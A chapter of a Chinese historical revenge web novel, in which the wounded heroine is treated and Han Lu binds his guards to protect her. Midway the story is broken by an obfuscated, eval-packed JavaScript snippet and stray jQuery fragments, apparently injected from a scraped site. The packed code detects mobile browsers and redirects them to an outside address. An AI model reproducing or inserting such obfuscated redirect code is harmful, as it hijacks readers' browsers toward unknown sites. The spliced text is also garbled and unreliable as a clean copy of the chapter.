126. 宣告

作品:《黑莲花复仇记

    一行人在一个多时辰后终于到达江飞所说的富商别院。别院三面有一条蜿蜒的河流,江飞早已带人控制了要害之处,河岸边也设置了岗哨。


    苏照月直接被抬进了收拾妥当的厢房中,一名年过五十的老者,一名四十多岁的妇人还有两名侍女已侯在里面。


    “谢大夫和他夫人,两人皆是淮安的外伤圣手,是自己人。”江飞低声说道。


    韩逯微微点头。


    琴心配合妇人还有侍女为苏照月小心翼翼脱去染血的外衫,重新检查伤口,清理,上药,包扎。两名大夫手法老道,经验充足,很快便处理完毕。


    “大人,这姑娘的外伤处理得当,及时缝合,所用药物也十分有效,暂时没有溃烂感染之兆。只是失血过多,加之根基薄弱,并且……体内毒素冲撞,此番确实凶险。”谢大夫顿了下,“发热乃身体自救之象,老朽已施针用药助其发散疏导,若能平安度过今日,热度渐退,便算过了第一道险关。之后月余,务须静养,徐徐进补,切忌劳神动气,更不可再受颠簸或新创。”


    “不惜一切代价,用最好的药。”韩逯的声音嘶哑。


    “老朽自当尽力。”谢大夫开了房子交由妇人,由妇人亲自带着侍女前去备药煎药。


    琴心打来温水,替苏照月擦拭身体,降低体温。


    韩逯走到床前,低头看她。她已经换上了干净素白的中衣,脸上的血渍也清理干净。脸上泛着潮红,唇色苍白,双眼紧闭,秀眉微蹙。


    韩逯伸出手在她额头上碰了下,依旧滚烫,他收回手,吩咐琴心:“照顾好她,有什么事,立刻来禀报。”


    “是,大人。”琴心连忙应道。


    韩逯走出厢房,侯在外面的江飞和吴问立马迎了上来。


    “公子,您的伤……”江飞有些担忧。


    “无碍。”韩逯摆摆手,脚步微乱,他已经接近四天三夜没有合过眼,手臂上的伤口裂开未及时处理,背后也传来一阵钝痛。


    他稳住身形,“审讯怎么样?”


    “两个活口,一个伤重没撑住。另一个吐了些东西,白辞树走的密道出城,出城后可能走水路往扬州方向去了,那边有白家早年经营的一些产业和江湖关系。另外,他提到晋阳王似乎对云雾山一带也有过问询,但具体不详。”吴问回道。


    “继续审。然后派人沿着扬州的线跟进。”


    “是!”吴问领命去了。


    “此处防御如何?”


    江飞立马回道:“公子放心。此处三面环水,唯路入口已设明暗三重卡,院内关键点皆有我们的人。外围五里内的道路、渡口都有眼线。每日物资由可靠渠道送入,所需药物已备足半月之量。此地至少在十日内,绝对安全。”


    “好。”韩逯缓缓吐出一口气,整个人松懈下来,然后一阵眩晕,眼前发黑,步伐也不稳起来,没走两步便一头栽倒下去。


    “公子!”江飞迅速将人接住。


    韩逯因力竭而昏睡,江飞立刻唤来谢大夫为韩逯处理手臂上的伤口和背上的於伤。


    待伤处理好,江飞派了两人守在门口,自己则去同吴问进行信息同步。


    江飞听完吴问细说山谷防御,斩杀三队死士的经过,并没有觉得有何惊异,以韩逯和这些暗卫的能力,不足为奇。但是当他听到,在韩逯他们赶到前,已经有三名死士丧命于苏照月手中时,他感到异常惊骇。


    之前韩逯让他送去修复的珠钗,还有专门打造的匕首,他就猜到苏照月应该会些功夫,她的身份有问题之事他也知道。但听吴问所言,她带着伤,竟然能够杀死三名死士,并且手法干净狠辣。这绝不是什么会功夫就能解释的了。那三名死士的伤口他看过,都是一击毙命,尤其是山洞口的那人,用长直利器从耳后贯穿脑干,这绝不是一般人能做到的。


    他突然想起之前在船上,遭遇水匪袭击时,他与苏照月在货仓,当时他击杀一人,背后突然窜出一人,他本应该被对方砍中的,但是那人身形慢了一分,自己才能幸免于难,后来收拾尸体时,有人报告说那人手上有贯穿伤。当时他没有在意,如今想来,那个时候应该是苏照月救了她。


    良久,江飞才缓缓开口,“我们这位夫人……绝非一般人。”


    “大人可知?”吴问有些担忧。


    “公子岂会不知。”江飞面沉如水。


    “那,后续怎么布置。”吴问有些拿不定主意。


    “一切先照旧。”江飞沉吟片刻,“将护卫等级提高些。你亲自安排班次,须臾不离,尤其是她房间周围。”


    江飞又补充道:“还有,关于苏小姐身手之事,到此为止,若下面有人议论,你知道该怎么做。”


    吴问点头应下,犹豫片刻,他还是低声道:“飞哥,苏小姐她……不仅身份成迷,还身手骇人,大人他……下面的人都是跟着大人刀山火海过来的,如今守着这么一个人,难免会有想法。光是封口,恐怕不是长久之计。”


    江飞叹了口气,他又如何不知。但是看公子如今的情形,只怕容不得旁人置喙了。“先如此,等公子醒来再议。”


    吴问只能应下。


    *


    韩逯猛地睁开眼睛,入眼是陌生的床幔,身下的木板很硬。他几乎从床上弹坐起来,牵扯到后背的於伤,额头瞬间冒出冷汗。


    他的目光扫过室内,没有苏照月的身影。


    “来人!”他的声音干哑,几乎是怒吼出声。


    “公子,您醒了!”江飞应声而入。


    “她呢?”他的声音像是淬了冰。


    江飞立马就知道他说的是谁,“苏小姐在隔壁屋,烧已经退了,还未醒,琴心守着。”


    韩逯立马从床上下来,动作太猛了,让他感到一阵眩晕,脚下踉跄。


    “公子,您的伤!”江飞上前想要扶他。


    韩逯避开他的手,自己稳住身形,从旁边的椅背上扯过衣服披在身上,“我睡了多久?”


    “差不多六个时辰。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143099|190346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    韩逯步履还有些虚浮,却异常坚定,他扯开房间的门。


    “公子,右边。”江飞提醒。


    韩逯几步走到右边的厢房,推门进去。


    琴心趴在苏照月的床边打盹,谢大夫带来的侍女在她旁边守着。琴心听到动静醒来,见到韩逯忙起身行礼。


    韩逯的目光直接略过她们,落在苏照月身上,见到她还在,猛跳的心才稍稍缓了一些。


    他走过去,站在床边,目光落在苏照月脸上,潮红已经褪去,脸色发白,呼吸平稳。他伸出手,探了探她的鼻息,然后又用手指落在领侧的动脉处,这才确信人还活着。整颗狂跳的心才逐渐安定下来。


    “何时退的烧?”


    “午后。”琴心忙回道。


    “可有反复?”


    “退烧后再也没有烧过。”


    他又看了苏照月一会儿,才转身,对江飞低声吩咐,“江飞。”


    “属下在。”江飞的声音也刻意压低了些。


    “所有人,外面集合。”他侧头看了眼苏照月,“动作轻些,别吵醒她。”


    片刻后,除了在必要岗位上留守的暗哨,其他人都立在了院子里。阿烟的伤已经处理过,她立在第一排最右侧。


    韩逯轻轻将门掩上,走到廊下,目光缓缓扫过众人,最后落在阿烟身上,“阿烟,我给你两条路。”


    他甚至没有给阿烟任何辩解的机会。


    “一。依暗卫铁律,延误要情,隐瞒不报,致主上遇险,当处极刑。”


    阿烟猛地抬头,看向韩逯,眼中满是痛楚。


    “二。自即刻起,你不再是暗卫。你延误时间,让她险些丧命,你的命赔给她。从此,你就是她的影子。你的生死荣辱,皆于她,她若安好,你便苟活,她若有丝毫损伤,你自行了断,不必再来见我。”


    说完,韩逯不再看她,目光扫过众人,“至于你们,还有下面所有的人,都听清楚。从今以后,她的安危就是铁律。任何有关她的事,无论大小,胆敢有所隐瞒、延误、懈怠、自作主张者,一律以判主论处,绝不姑息。”


    众人心中惊骇,面上却不敢表露。这个命令,比之前韩逯公开称苏照月为夫人更为震撼。他这是将她的安危放在了与自己等同的位置,这意味着什么不言而喻。


    韩逯挥了挥手,让众人退下,只有阿烟,她迅速闪入廊下的黑暗中。她别无选择。


    韩逯回身推门进去,走到床旁边的椅子上坐下,伸手将她放在身侧的手执起,十指相扣。


    琴心和那侍女自觉地退到一旁。


    韩逯看着苏照月的睡颜,轻声开口:“苏照月,我们之间……永远不可能两清。从我替你挡刀,你为我杀人起,这笔账就算不清了。”


    “你的命是我的,你的仇,我帮你报。至于你……”他的手握得更紧了,“从今往后只能待在我身边,哪也不许去。”


    说完,他就这样握着她的手,靠坐在椅子上,闭上眼睛。